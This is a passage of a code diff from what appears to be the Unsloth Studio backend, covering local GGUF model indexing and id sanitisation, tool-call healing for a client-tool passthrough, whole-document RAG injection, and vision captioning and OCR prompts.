model_format filter would drop every cached GGUF. Lets /v1/models advertise
exactly what /v1 can serve."""
from pathlib import Path
path = getattr(info, "path", None)
# Ollama-link entries come from a scanner _build_index intentionally skips (it
# creates symlinks on the request path), so their advertised ids never resolve.
# Don't report them as servable, or /v1/models would list unswitchable models.
if isinstance(path, str) and any(
seg in (".studio_links", "ollama_links") for seg in Path(path).parts
):
return False
return _local_gguf_entry(getattr(info, "id", "") or "", info) is not None
def _build_index() -> dict[str, _LocalGgufEntry]:
"""Map normalized id/model_id/display_name -> local GGUF entry.
Scans the same roots Studio's model picker lists (./models, the active plus
legacy/default HF caches, LM Studio dirs, and user scan folders) so a named
local model is never missed and silently served as the loaded one. Ollama's
scanner is skipped: it creates symlinks as a side effect and this runs on the
request path.
"""
# Lazy import: routes.models imports core.inference, so import at call time.
from pathlib import Path
from routes.models import (
_scan_models_dir,
_scan_hf_cache,
_scan_lmstudio_dir,
_resolve_hf_cache_dir,
_is_hidden_model,
)
from utils.paths import legacy_hf_cache_dir, hf_default_cache_dir, lmstudio_model_dirs
index: dict[str, _LocalGgufEntry] = {}
seen_hf: set[str] = set()
def _scan_hf_once(directory) -> list:
if directory is None:
return []
try:
d = Path(directory)
if not d.is_dir():
return []
rp = str(d.resolve())
if rp in seen_hf:
return []
seen_hf.add(rp)
return _scan_hf_cache(directory)
except Exception as exc: # a missing/malformed root must skip, never crash the index
logger.debug("auto-switch: skipping HF cache dir %r: %s", directory, exc)
return []
# Each source is guarded on its own so one bad root (a permission error, a
# malformed cache) drops only that source, not the whole index.
found: list = []
try:
found += _scan_models_dir(Path("./models").resolve())
except Exception as exc:
logger.debug("auto-switch: ./models scan failed: %s", exc)
try:
for hf_dir in (_resolve_hf_cache_dir(), legacy_hf_cache_dir(), hf_default_cache_dir()):
found += _scan_hf_once(hf_dir)
except Exception as exc:
logger.debug("auto-switch: HF cache scan failed: %s", exc)
try:
for lm_dir in lmstudio_model_dirs():
found += _scan_lmstudio_dir(lm_dir)
except Exception as exc:
logger.debug("auto-switch: LM Studio scan failed: %s", exc)
try:
from storage.studio_db import list_scan_folders
for folder in list_scan_folders():
try:
fp = Path(folder["path"])
found += (
_scan_models_dir(fp, limit = 200) + _scan_hf_once(fp) + _scan_lmstudio_dir(fp)
)
except Exception as exc:
logger.debug("auto-switch: scan folder %r failed: %s", folder, exc)
except Exception as exc:
logger.debug("auto-switch: scan folders enumerate failed: %s", exc)
for info in found:
raw_id = getattr(info, "id", None)
if not raw_id:
continue
# Skip what Studio hides from its pickers (validation probe, RAG embed
# weights): not chat models, so never an auto-switch target.
if _is_hidden_model(raw_id, getattr(info, "path", None)):
continue
# Advertise a client-facing alias, not an absolute filesystem path.
loader_id = _advertised_loader_id(info)
entry = _local_gguf_entry(loader_id, info)
if entry is None:
continue
# Index every alias (including the path) so a client can resolve by any of
# them, even though only the non-path loader_id is advertised.
for key in (raw_id, getattr(info, "model_id", None), getattr(info, "display_name", None)):
if key:
index.setdefault(key.strip().lower(), entry)
return index
def _index() -> dict[str, _LocalGgufEntry]:
global _scan
# Build under the lock so concurrent callers with an expired cache don't all
# run the (multi-dir) scan at once; the rest wait and reuse the fresh result.
with _lock:
now = time.monotonic()
ts, cached = _scan
if now - ts < _CACHE_TTL_S:
return cached
fresh = _build_index()
# Stamp AFTER the scan, not with the pre-scan ``now``: a multi-root scan on
# an install with many local models can itself exceed the TTL, which would
# store the cache already expired and make every request rebuild the index.
_scan = (time.monotonic(), fresh)
return fresh
def resolve_local_gguf(requested: str) -> Optional[tuple[str, Optional[str], str]]:
"""Return ``(load_path, gguf_variant, loader_id)`` for a local match, else None.
``load_path`` is the concrete on-disk path to hand /load (so it never fetches
a remote), ``loader_id`` is the advertised id used as the launch-override key.
``requested`` is ``repo`` or ``repo:VARIANT``. An exact id match wins first
(so ids containing a colon still resolve); else the last ``:VARIANT`` is split
off and resolves only when that quant is on disk.
"""
if not isinstance(requested, str) or not requested.strip():
return None
requested = requested.strip()
try:
index = _index()
entry = index.get(requested.lower())
if entry is not None:
variant = entry.variants[0] if entry.variants else None
return entry.load_path, variant, entry.loader_id
base, sep, variant = requested.rpartition(":")
if not sep:
return None
entry = index.get(base.strip().lower())
if entry is None:
return None
wanted = variant.strip().lower()
for v in entry.variants:
if v.lower() == wanted:
return entry.load_path, v, entry.loader_id
return None
except Exception:
# Best-effort: any resolver failure falls through to the loaded model,
# so a malformed name can never turn a servable request into a 500.
return None

71
studio/backend/core/inference/model_ids.py Normal file
View file

@ -0,0 +1,71 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
"""Public model identifiers for the OpenAI-compatible API.
The exposed API must report a stable, clean model id rather than the absolute
on-disk path of a local GGUF. The internal identifier for a direct local load is
the absolute ``.gguf`` path, which leaks the host filesystem layout and is
awkward for clients to round-trip. ``public_model_id`` maps such an internal
identifier to a clean name while leaving Hugging Face repo ids (``org/model``)
and already-clean names untouched.
"""
from __future__ import annotations
import os
from typing import Optional
_GGUF_SUFFIX = ".gguf"
def _looks_like_path(identifier: str) -> bool:
"""True when *identifier* is a local filesystem path, not a HF repo id.
A repo id is ``org/model`` (a single forward slash, no leading separator, no
drive, no ``.gguf``). Anything ending in ``.gguf``, starting with a path
separator or a relative/home prefix (``./``, ``../``, ``~``), carrying a
Windows drive, or with three or more ``/`` segments is treated as a local
path.
"""
if identifier.lower().endswith(_GGUF_SUFFIX):
return True
if identifier.startswith(("/", "\\", "./", "../", ".\\", "..\\", "~")):
return True
if len(identifier) >= 2 and identifier[1] == ":": # Windows drive, e.g. C:\
return True
if identifier.count("/") >= 2 or "\\" in identifier:
return True
return False
def public_model_id(identifier: Optional[str]) -> Optional[str]:
"""Return a clean, path-free public id for *identifier*.
- Local GGUF path -> the file stem with ``.gguf`` stripped, e.g.
``/srv/models/Qwen3-30B-A3B-Q4_K_M.gguf`` -> ``Qwen3-30B-A3B-Q4_K_M``.
- HF repo id (``org/model``) and already-clean names -> returned unchanged.
- ``None`` / empty -> returned unchanged.
"""
if not identifier:
return identifier
if not _looks_like_path(identifier):
return identifier
name = os.path.basename(identifier.replace("\\", "/").rstrip("/"))
if name.lower().endswith(_GGUF_SUFFIX):
name = name[: -len(_GGUF_SUFFIX)]
return name or identifier
def model_id_matches(requested: Optional[str], internal: Optional[str]) -> bool:
"""Whether a client-supplied *requested* id refers to *internal*.
Accepts the clean public id (preferred) and, for backward compatibility, the
raw internal identifier (e.g. a legacy absolute path a client cached from an
older ``/v1/models`` response).
"""
if requested is None or internal is None:
return False
if requested == internal:
return True
return public_model_id(internal) == requested

45
studio/backend/core/inference/orchestrator.py
View file

@ -534,29 +534,34 @@ class InferenceOrchestrator:
except (EOFError, OSError, ValueError):
break
rid = resp.get("request_id")
rtype = resp.get("type", "")
# Sole consumer of the response queue; if it died every in-flight
# stream would hang, so never let routing kill the dispatcher.
try:
rid = resp.get("request_id")
rtype = resp.get("type", "")
# Status messages — log and skip
if rtype == "status":
logger.info("Subprocess status: %s", resp.get("message", ""))
continue
# Route to mailbox if a matching request_id exists
if rid:
with self._mailbox_lock:
mbox = self._mailboxes.get(rid)
if mbox is not None:
mbox.put(resp)
# Status messages: log and skip
if rtype == "status":
logger.info("Subprocess status: %s", resp.get("message", ""))
continue
# No matching mailbox (a _gen_lock reader or orphaned). Can't
# un-get from mp.Queue, so just log. (status was handled above.)
logger.debug(
"Dispatcher: no mailbox for request_id=%s type=%s, dropping",
rid,
rtype,
)
# Route to mailbox if a matching request_id exists
if rid:
with self._mailbox_lock:
mbox = self._mailboxes.get(rid)
if mbox is not None:
mbox.put(resp)
continue
# No matching mailbox; can't un-get from mp.Queue, so just log.
logger.debug(
"Dispatcher: no mailbox for request_id=%s type=%s, dropping",
rid,
rtype,
)
except Exception:
logger.exception("Inference dispatcher: failed to route a response; continuing")
continue
def _generate_dispatched(
self,

535
studio/backend/core/inference/passthrough_healing.py Normal file
View file

@ -0,0 +1,535 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
"""Tool-call healing for the client-tool passthrough.
With server-side tools disabled (``unsloth run --disable-tools``, every
``unsloth start`` coding agent), requests carrying the client's own ``tools``
bypass Studio's tool loop and are relayed to/from llama-server verbatim. Small
GGUF models often emit their tool calls as TEXT (``<tool_call>{...}</tool_call>``,
Gemma ``<|tool_call>...``, ``<function=...>`` XML) instead of structured
``tool_calls`` -- on the passthrough that text reaches the agent as prose and
the turn dies. This module promotes such text back into structured calls on the
RESPONSE side only: the upstream request body is never touched, no extra
generation is issued, so llama-server slot/KV-cache reuse is byte-identical.
Healing only ever fires when the request declared client tools, and only
promotes calls whose function name exactly matches a declared tool. Promotion
removes EXACTLY the promoted calls' markup spans (the parser reports them):
undeclared calls, unparseable blocks, and suppressed alternate formats keep
every byte and relay as text, so healing can never silently delete model
output. Responses without a tool signal, requests without tools, and Studio's
own enable-tools loop are untouched. Per-request opt-out:
``auto_heal_tool_calls: false``. Process kill-switch:
``UNSLOTH_DISABLE_TOOL_CALL_HEALING=1``.
"""
import json
import os
from collections.abc import Mapping
from typing import Any, Optional
from core.inference.tool_call_parser import TOOL_XML_SIGNALS, has_tool_signal
from core.inference.tool_loop_controller import coerce_tool_arguments
from core.tool_healing import parse_tool_calls_from_text
# Read once at import (same convention as the other UNSLOTH_* switches).
_HEALING_DISABLED = os.environ.get("UNSLOTH_DISABLE_TOOL_CALL_HEALING", "0") == "1"
# Nudging is OPT-IN: per-request nudge_tool_calls=true, or flip the process
# default with UNSLOTH_TOOL_CALL_NUDGE=1 (e.g. an `unsloth run` operator).
_NUDGE_DEFAULT = os.environ.get("UNSLOTH_TOOL_CALL_NUDGE", "0") == "1"
def nudge_enabled(request_flag: Optional[bool]) -> bool:
return _NUDGE_DEFAULT if request_flag is None else bool(request_flag)
_MAX_SIGNAL_LEN = max(len(s) for s in TOOL_XML_SIGNALS)
# A suspected-but-unclosed tool block larger than this is declared a false
# alarm and flushed, bounding memory on a model rambling XML-lookalike text.
_MAX_HOLD_CHARS = 64 * 1024
def heal_gate(
auto_heal: Optional[bool],
tools: Optional[list],
tool_choice: Any = None,
) -> Optional[set]:
"""Return the declared client-tool name set when healing applies, else None.
``tools`` is the OpenAI-shaped list forwarded to llama-server
(``[{"type": "function", "function": {"name": ...}}, ...]``). The name set
doubles as the promotion allowlist so healed calls can never invent a tool
the client did not declare.
``tool_choice`` (OpenAI shape) constrains the allowlist so healing never
contradicts the request: ``"none"`` forbids tool calls outright (text-form
markup stays text), and a forced ``{"type": "function", "function":
{"name": N}}`` narrows promotion to that one function. ``"auto"`` /
``"required"`` / absent keep the full declared set.
"""
if _HEALING_DISABLED or auto_heal is False:
return None
if tool_choice == "none":
return None
names = set()
for tool in tools or []:
if not isinstance(tool, dict):
continue
function = tool.get("function")
if isinstance(function, dict) and isinstance(function.get("name"), str):
names.add(function["name"])
if isinstance(tool_choice, dict):
function = tool_choice.get("function")
forced = function.get("name") if isinstance(function, dict) else None
if isinstance(forced, str):
names &= {forced}
return names or None
def _tool_schemas_by_name(tools: Optional[list]) -> dict[str, Any]:
schemas: dict[str, Any] = {}
for tool in tools or []:
if not isinstance(tool, dict):
continue
function = tool.get("function")
if not isinstance(function, dict):
continue
name = function.get("name")
if isinstance(name, str):
schemas[name] = function.get("parameters")
return schemas
def _string_arg_key_from_schema(schema: Any) -> Optional[str]:
if not isinstance(schema, dict):
return None
properties = schema.get("properties")
required = schema.get("required")
if not isinstance(properties, dict) or not isinstance(required, list):
return None
required_names = [name for name in required if isinstance(name, str)]
if len(required_names) != 1:
return None
key = required_names[0]
if key not in properties:
return None
prop_schema = properties.get(key)
if isinstance(prop_schema, dict):
prop_type = prop_schema.get("type")
if isinstance(prop_type, list):
if "string" not in prop_type:
return None
elif prop_type is not None and prop_type != "string":
return None
return key
def _coerce_promoted_arguments(
raw_args: Any, tool_name: str, tool_schemas: Optional[dict]
) -> Optional[dict]:
if isinstance(raw_args, Mapping):
return dict(raw_args)
if isinstance(raw_args, str):
try:
parsed = json.loads(raw_args)
if isinstance(parsed, Mapping):
return dict(parsed)
except (json.JSONDecodeError, ValueError):
pass
if tool_schemas is not None:
key = _string_arg_key_from_schema(tool_schemas.get(tool_name))
return {key: raw_args} if key else None
coerced = coerce_tool_arguments(raw_args, heal = True, tool_name = tool_name)
return coerced.arguments
def _promote(
calls: list,
allowed_tools: set,
id_offset: int = 0,
tool_schemas: Optional[dict] = None,
) -> list:
"""Filter parsed calls to declared tools and normalize their arguments.
Bare string arguments on the client-tool passthrough use the declared
schema's single required string property. If the schema is ambiguous, the
call stays text instead of inventing a generic key.
"""
promoted = []
for call in calls:
function = call.get("function") if isinstance(call, dict) else None
name = function.get("name") if isinstance(function, dict) else None
if name not in allowed_tools:
continue
arguments = _coerce_promoted_arguments(function.get("arguments"), name, tool_schemas)
if arguments is None:
continue
promoted.append(
{
"id": f"call_{id_offset + len(promoted)}",
"type": "function",
"function": {
"name": name,
"arguments": json.dumps(arguments, ensure_ascii = False),
},
}
)
return promoted
def _remove_spans(text: str, spans: list) -> str:
"""Text with the given non-overlapping, sorted (start, end) ranges removed."""
pieces = []
pos = 0
for start, end in spans:
pieces.append(text[pos:start])
pos = end
pieces.append(text[pos:])
return "".join(pieces)
def heal_openai_message_events(
msg: dict,
allowed_tools: set,
tools: Optional[list] = None,
) -> Optional[list]:
if not isinstance(msg, dict) or msg.get("tool_calls"):
return None
content = msg.get("content")
if not isinstance(content, str) or not has_tool_signal(content):
return None
parsed, spans = parse_tool_calls_from_text(content, allow_incomplete = True, with_spans = True)
tool_schemas = _tool_schemas_by_name(tools) if tools is not None else None
events: list = []
pos = 0
call_count = 0
for call, (start, end) in zip(parsed, spans):
promoted = _promote([call], allowed_tools, id_offset = call_count, tool_schemas = tool_schemas)
if promoted:
if content[pos:start]:
events.append(("text", content[pos:start]))
events.append(("tool_call", promoted[0]))
call_count += 1
else:
events.append(("text", content[pos:end]))
pos = end
if not call_count:
return None
if content[pos:]:
events.append(("text", content[pos:]))
return events
def heal_openai_message(
msg: dict,
allowed_tools: set,
tools: Optional[list] = None,
) -> bool:
"""Promote text-form tool calls in a non-streaming OpenAI message. In place.
No-op (returns False) unless the message has NO structured ``tool_calls``
(grammar mode already worked when it does) and its content carries a tool
signal that parses into at least one declared call. Only the promoted
calls' markup spans are removed from the content; undeclared calls and
anything the parser did not consume stay in the text byte-intact.
"""
events = heal_openai_message_events(msg, allowed_tools, tools)
if not events:
return False
calls = [value for kind, value in events if kind == "tool_call"]
content = "".join(value for kind, value in events if kind == "text").strip()
msg["tool_calls"] = calls
# OpenAI requires content = null on a pure tool-call turn.
msg["content"] = content or None
return True
def _earliest_signal(buffer: str) -> int:
best = -1
for signal in TOOL_XML_SIGNALS:
index = buffer.find(signal)
if index >= 0 and (best < 0 or index < best):
best = index
return best
def _closed_signal_span(buffer: str) -> Optional[tuple[int, int]]:
spans = []
for open_tag, close_tag in (
("<tool_call>", "</tool_call>"),
("<|tool_call>", "<tool_call|>"),
("<function=", "</function>"),
):
start = buffer.find(open_tag)
if start < 0:
continue
end = buffer.find(close_tag, start)
if end >= 0:
spans.append((start, end + len(close_tag)))
return min(spans, key = lambda span: span[0]) if spans else None
def _partial_signal_suffix(buffer: str) -> int:
"""Length of the longest buffer suffix that is a proper prefix of a signal."""
for length in range(min(len(buffer), _MAX_SIGNAL_LEN - 1), 0, -1):
tail = buffer[-length:]
if any(signal.startswith(tail) for signal in TOOL_XML_SIGNALS):
return length
return 0
class StreamToolCallHealer:
"""Buffer-and-repair state machine for streamed passthrough content.
``feed(text)`` / ``finalize()`` yield ``("text", str)`` events for content
to relay and ``("tool_call", dict)`` events carrying an OpenAI-shaped call
(string ``function.arguments``). Normal prose is forwarded immediately; only
a trailing partial-signal window (< max signal length) or a suspected tool
block is ever withheld, so streaming latency stays bounded. A false alarm
(the buffer can no longer become a parseable declared call) flushes the held
text verbatim.
"""
def __init__(
self,
allowed_tools: set,
tools: Optional[list] = None,
) -> None:
self._allowed = set(allowed_tools)
self._tool_schemas = _tool_schemas_by_name(tools) if tools is not None else None
self._buffer = ""
self._holding = False
self._id_offset = 0
# Structured delta.tool_calls seen upstream: grammar mode already
# worked, so healing goes dormant and text relays verbatim.
self.dormant = False
@property
def healed(self) -> bool:
return self._id_offset > 0
def structured_tool_call_seen(self) -> list:
"""Go dormant; flush anything held so no text is swallowed."""
self.dormant = True
held, self._buffer, self._holding = self._buffer, "", False
return [("text", held)] if held else []
def feed(self, text: str) -> list:
if self.dormant:
return [("text", text)] if text else []
self._buffer += text
return self._drain()
def _drain(self) -> list:
events: list = []
while True:
if not self._holding:
start = _earliest_signal(self._buffer)
if start >= 0:
if start:
events.append(("text", self._buffer[:start]))
self._buffer = self._buffer[start:]
self._holding = True
else:
keep = _partial_signal_suffix(self._buffer)
emit = self._buffer[: len(self._buffer) - keep]
if emit:
events.append(("text", emit))
self._buffer = self._buffer[len(self._buffer) - keep :]
return events
# HOLD: handle the FIRST complete block per pass so events keep
# document order (a later declared call must not overtake an
# earlier undeclared one flushing as text).
parsed, spans = parse_tool_calls_from_text(
self._buffer,
id_offset = self._id_offset,
allow_incomplete = False,
with_spans = True,
)
if not parsed:
closed_span = _closed_signal_span(self._buffer)
if closed_span:
_start, end = closed_span
events.append(("text", self._buffer[:end]))
self._buffer = self._buffer[end:]
self._holding = False
continue
if len(self._buffer) > _MAX_HOLD_CHARS:
events.append(("text", self._buffer))
self._buffer = ""
self._holding = False
continue
return events
start, end = spans[0]
promoted = _promote(
[parsed[0]],
self._allowed,
id_offset = self._id_offset,
tool_schemas = self._tool_schemas,
)
if promoted:
if start:
events.append(("text", self._buffer[:start]))
events.append(("tool_call", promoted[0]))
self._id_offset += 1
# Drop exactly the promoted markup span; everything else
# (leading text, later blocks) stays and is rescanned.
self._buffer = self._buffer[end:]
else:
# Undeclared or unusable name: its markup is DATA, flush it
# (and anything before it) verbatim, then rescan the rest.
events.append(("text", self._buffer[:end]))
self._buffer = self._buffer[end:]
self._holding = False
def finalize(self) -> list:
"""End of stream: last-chance heal of the residue, else flush it.
Events keep document order; only the promoted calls' markup spans are
dropped, every other residue byte flushes as text.
"""
if not self._buffer:
return []
residue, self._buffer = self._buffer, ""
holding, self._holding = self._holding, False
if self.dormant or not holding:
return [("text", residue)]
parsed, spans = parse_tool_calls_from_text(
residue,
id_offset = self._id_offset,
allow_incomplete = True,
with_spans = True,
)
events: list = []
pos = 0
any_promoted = False
for call, (start, end) in zip(parsed, spans):
promoted = _promote(
[call],
self._allowed,
id_offset = self._id_offset,
tool_schemas = self._tool_schemas,
)
if promoted:
if residue[pos:start]:
events.append(("text", residue[pos:start]))
events.append(("tool_call", promoted[0]))
self._id_offset += 1
any_promoted = True
else:
events.append(("text", residue[pos:end]))
pos = end
if not any_promoted:
return [("text", residue)]
tail = residue[pos:].strip()
if tail:
events.append(("text", tail))
return events
def _first_choice_message(data: Any) -> Optional[dict]:
"""First-choice message dict of a non-streaming chat response, else None.
Upstream error bodies can carry ``"message": null`` (or no choices at all),
so never assume the shape: a non-dict message means "nothing to heal".
"""
try:
message = data["choices"][0]["message"]
except (KeyError, IndexError, TypeError):
return None
return message if isinstance(message, dict) else None
def _last_assistant_text(data: Any) -> str:
"""First-choice assistant content of a non-streaming chat response, or ''."""
message = _first_choice_message(data)
content = message.get("content") if message else None
return content if isinstance(content, str) else ""
def _heal_would_promote(
text: str,
allowed_tools: set,
tools: Optional[list] = None,
) -> bool:
"""Whether ``heal_openai_message`` would promote at least one call."""
parsed = parse_tool_calls_from_text(text, allow_incomplete = True)
tool_schemas = _tool_schemas_by_name(tools) if tools is not None else None
return bool(_promote(parsed, allowed_tools, tool_schemas = tool_schemas))
def response_has_promotable_calls(
data: Any,
allowed_tools: set,
tools: Optional[list] = None,
) -> bool:
"""True when a non-streaming chat response carries a usable tool call
(structured naming a DECLARED tool, or text-form that healing would
promote). Used to decide whether a nudge retry actually improved on the
original response; a hallucinated undeclared call is not an improvement."""
message = _first_choice_message(data)
if not message:
return False
tool_calls = message.get("tool_calls")
if tool_calls:
# ALL structured calls must be declared: the caller forwards the whole
# list (and a parallel cap could keep only the FIRST one), so a mixed
# response with a single hallucinated name could still hand the client
# an undeclared tool.
return all(
isinstance(tc, dict)
and isinstance(tc.get("function"), dict)
and tc["function"].get("name") in allowed_tools
for tc in tool_calls
)
text = message.get("content")
if not isinstance(text, str):
return False
return _heal_would_promote(text, allowed_tools, tools)
def nudge_should_retry(
data: Any,
allowed_tools: Optional[set],
tools: Optional[list] = None,
) -> bool:
"""True when the first response tried to call a tool but nothing healed.
Trigger only on: healing enabled (allowed_tools set), zero structured
calls, a tool signal present in the text, and zero promotable calls -- the
exact failure a single re-ask can fix. Clean prose never retries.
"""
if not allowed_tools:
return False
message = _first_choice_message(data)
if not message or message.get("tool_calls"):
return False
text = message.get("content")
if not isinstance(text, str) or not has_tool_signal(text):
return False
return not _heal_would_promote(text, allowed_tools, tools)
def nudge_messages(data: Any, allowed_tools: set) -> list:
"""The two-message suffix appended for the single nudge retry.
The retry body is the original body plus this suffix, so the prompt prefix
is byte-identical and llama-server's slot/prefix cache is reused (same
shape as the enable-tools loop's reprompt).
"""
tool_hint = " or ".join(f"`{name}`" for name in sorted(allowed_tools)) or "an available tool"
return [
{"role": "assistant", "content": _last_assistant_text(data)},
{
"role": "user",
"content": (
"You have access to the declared tools. If a tool is needed to "
f"complete the action you described, call {tool_hint} now using the "
"native tool-call format with valid JSON arguments, not prose. If no "
"tool is needed, provide the final answer directly."
),
},
]

143
studio/backend/core/inference/tools.py
View file

@ -1121,6 +1121,61 @@ def _autoinject_top_k() -> int:
return _AUTOINJECT_DEFAULT_TOP_K
def _thread_whole_doc_enabled(scope: dict) -> bool:
"""Whether a thread-attached file should be injected in full rather than
retrieved top-K. ``rag_scope.whole_doc=False`` disables it for this request."""
override = scope.get("whole_doc")
if override is False:
return False
try:
from core.rag import config as _rag_config
except Exception: # noqa: BLE001
return True
return _rag_config.THREAD_WHOLE_DOC
_IMAGE_PART_TOKEN_ESTIMATE = 1024
def _message_token_estimate(conversation: list[dict]) -> int:
"""Cheap prompt-size estimate for budget guards; exact tokenization happens later."""
total = 0
for msg in conversation:
content = msg.get("content")
if isinstance(content, str):
total += max(1, len(content) // 4)
elif isinstance(content, list):
for part in content:
if isinstance(part, dict):
if part.get("type") in ("image_url", "input_image"):
total += _IMAGE_PART_TOKEN_ESTIMATE
else:
total += max(1, len(str(part.get("text") or "")) // 4)
total += 4 # chat-template role / separator overhead estimate
return total
def _whole_doc_budget(scope: dict | None = None, conversation: list[dict] | None = None) -> int:
try:
from core.rag import config as _rag_config
except Exception: # noqa: BLE001
budget = 6000
else:
budget = _rag_config.WHOLE_DOC_MAX_TOKENS
if not scope:
return budget
context = _opt_int(scope.get("context_length") or scope.get("max_context_tokens"))
if context is None or context <= 0:
return budget
headroom = _opt_int(scope.get("response_headroom"))
if headroom is None:
headroom = max(1024, context // 4)
used = _message_token_estimate(conversation or [])
# Leave room for tool XML wrappers, citation metadata, and chat-template overhead.
available = context - headroom - used - 512
return min(budget, max(0, available))
def _last_user_text(conversation: list[dict]) -> str:
"""Plain text of the most recent user turn (text parts only)."""
for msg in reversed(conversation):
@ -1154,7 +1209,11 @@ def build_rag_autoinject(conversation: list[dict], rag_scope: dict | None) -> di
enabled = rag_scope.get("autoinject")
if enabled is None:
enabled = _autoinject_enabled()
if not enabled:
thread_id = rag_scope.get("thread_id")
whole_doc_requested = (
bool(thread_id) and not rag_scope.get("kb_id") and _thread_whole_doc_enabled(rag_scope)
)
if not enabled and not whole_doc_requested:
return None
query = _last_user_text(conversation)
if not query:
@ -1163,35 +1222,81 @@ def build_rag_autoinject(conversation: list[dict], rag_scope: dict | None) -> di
from storage import rag_db
if not rag_db.RAG_AVAILABLE:
return None
from core.rag.tool import search_for_autoinject
from core.rag.tool import render_sources, search_for_autoinject, whole_document_context
except Exception as exc: # noqa: BLE001
logger.warning("RAG auto-inject unavailable: %s", exc)
return None
text: str | None = None
sources: list[dict] = []
floor_override = rag_scope.get("autoinject_min_score")
floor = float(floor_override) if floor_override is not None else _autoinject_floor()
# Cap at the lean top_k, but honor a lower user setting.
lean_k = _autoinject_top_k()
sidebar_k = _opt_int(rag_scope.get("default_top_k"))
top_k = min(sidebar_k, lean_k) if sidebar_k is not None else lean_k
try:
found = search_for_autoinject(
query = query,
scope_kb_id = rag_scope.get("kb_id"),
scope_thread_id = rag_scope.get("thread_id"),
scope_project_id = rag_scope.get("project_id"),
top_k = top_k,
min_dense_score = floor,
**_scope_retrieval_kwargs(rag_scope),
)
except Exception as exc: # noqa: BLE001
logger.warning("RAG auto-inject retrieval failed: %s", exc)
return None
if not found:
logger.info("RAG auto-inject: no passage >= %.2f; skipping", floor)
# Whole-document mode: a thread-attached file under budget is injected in full so
# the model reads everything. A KB selection is exclusive, so whole-doc never
# preempts it; in a project chat the project sources are still retrieved top-K and
# appended under one citation numbering. Oversized files (or no thread doc) fall
# through to the combined top-K retrieval below.
if whole_doc_requested:
try:
budget = _whole_doc_budget(rag_scope, conversation)
whole = whole_document_context(
scope_thread_id = thread_id,
max_tokens = budget,
)
except Exception as exc: # noqa: BLE001
logger.warning("RAG whole-document context failed: %s", exc)
whole = None
if whole is not None:
text, sources = whole
project_id = rag_scope.get("project_id")
if project_id:
try:
proj = search_for_autoinject(
query = query,
scope_project_id = project_id,
top_k = top_k,
min_dense_score = floor,
**_scope_retrieval_kwargs(rag_scope),
)
except Exception as exc: # noqa: BLE001
logger.warning("RAG project retrieval (whole-doc companion) failed: %s", exc)
proj = None
if proj is not None:
merged = sources + proj[1]
merged_text = render_sources(merged)
if max(1, len(merged_text) // 4) <= budget:
sources = merged
text = merged_text
logger.info("RAG auto-inject: whole-document context (%d chunk(s))", len(sources))
if text is None and enabled:
try:
found = search_for_autoinject(
query = query,
scope_kb_id = rag_scope.get("kb_id"),
scope_thread_id = rag_scope.get("thread_id"),
scope_project_id = rag_scope.get("project_id"),
top_k = top_k,
min_dense_score = floor,
**_scope_retrieval_kwargs(rag_scope),
)
except Exception as exc: # noqa: BLE001
logger.warning("RAG auto-inject retrieval failed: %s", exc)
return None
if not found:
logger.info("RAG auto-inject: no passage >= %.2f; skipping", floor)
return None
text, sources = found
if text is None:
return None
text, sources = found
import json as _json
import uuid as _uuid
@ -1236,7 +1341,7 @@ def build_rag_autoinject(conversation: list[dict], rag_scope: dict | None) -> di
"content": text,
},
]
logger.info("RAG auto-inject: %d passage(s) >= %.2f for %r", len(sources), floor, query[:80])
logger.info("RAG auto-inject: %d passage(s) for %r", len(sources), query[:80])
return {"events": events, "messages": messages}

175
studio/backend/core/rag/captioner.py
View file

@ -1,9 +1,12 @@
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
"""Caption figures with the loaded vision model and splice the text into the page
so images are searchable via the normal FTS5 + dense path. No-op (never raises)
without a vision model or on failure; gated by ``config.CAPTION_IMAGES``."""
"""Vision-model helpers for ingestion: figure captioning and scanned-page OCR.
Both turn pixels into indexable text and are a no-op (never raise) without a loaded
vision model. They reuse the chat model's vision endpoint, so it must be served with
``--ubatch-size`` >= one image's tokens (some encoders, e.g. Gemma, attend
non-causally and abort otherwise); Studio's vision chat already requires this."""
from __future__ import annotations
@ -15,11 +18,54 @@ from . import config
logger = logging.getLogger(__name__)
_CAPTION_PROMPT = (
"Describe this figure or image from a document in one or two concise "
"sentences, for search indexing. State what it depicts (e.g. a diagram, "
"chart, table or photo) and its key content. Do not add commentary."
"Read this figure or image from a document for search indexing.\n"
"First, on a line 'TEXT:', transcribe every piece of visible text exactly as "
"written, in reading order: the title, axis labels and units, legend and series "
"names, EVERY box / node / arrow label, table headers and cells, equations, and "
"footnotes. List each distinct label even if it is small.\n"
"Then, on a line 'SUMMARY:', add one or two sentences on what it shows (chart "
"type and trend, diagram subject, table topic, or photo content).\n"
"Report only what is visible. Transcribe exactly; do not invent or guess any "
"text, label, or number."
)
_OCR_PROMPT = (
"Transcribe all text on this document page exactly as it appears, in reading "
"order, including any text inside figures, diagrams, charts, and tables (keep "
"table rows readable). Output only the transcribed text, with no commentary or "
"code fences. Preserve headings, lists, and line breaks. If the page has no "
"readable text, output nothing."
)
def _collapse_runaway(
text: str,
max_repeat: int = 3,
max_total: int = 8,
) -> str:
"""Cap runaway repetition: vision models sometimes loop a line many times. Keep
each distinct line to ``max_repeat`` in a row and ``max_total`` total, and collapse
blank-line floods, so a degenerate page cannot flood the index."""
out: list[str] = []
seen: dict[str, int] = {}
prev: str | None = None
run = 0
for line in text.splitlines():
key = line.strip()
if not key:
if prev == "": # collapse runs of blank lines to a single separator
continue
prev = ""
out.append("")
continue
run = run + 1 if key == prev else 1
prev = key
seen[key] = seen.get(key, 0) + 1
if run > max_repeat or seen[key] > max_total:
continue
out.append(line)
return "\n".join(out)
def vision_endpoint() -> tuple[str, str] | None:
"""``(base_url, model)`` for a loaded vision GGUF model, else None."""
@ -33,7 +79,28 @@ def vision_endpoint() -> tuple[str, str] | None:
return None
def _caption_one(base_url: str, model: str, image_bytes: bytes, timeout: float) -> str | None:
def _vision_auth_headers() -> dict | None:
"""Bearer header for the backend's API, or None. Vision calls share the chat
endpoint, so they need the same key under direct-stream (``--api-key``) mode."""
try:
from routes.inference import get_llama_cpp_backend
return get_llama_cpp_backend()._auth_headers or None
except Exception: # noqa: BLE001 - auth discovery must never break ingestion
return None
def _vision_complete(
base_url: str,
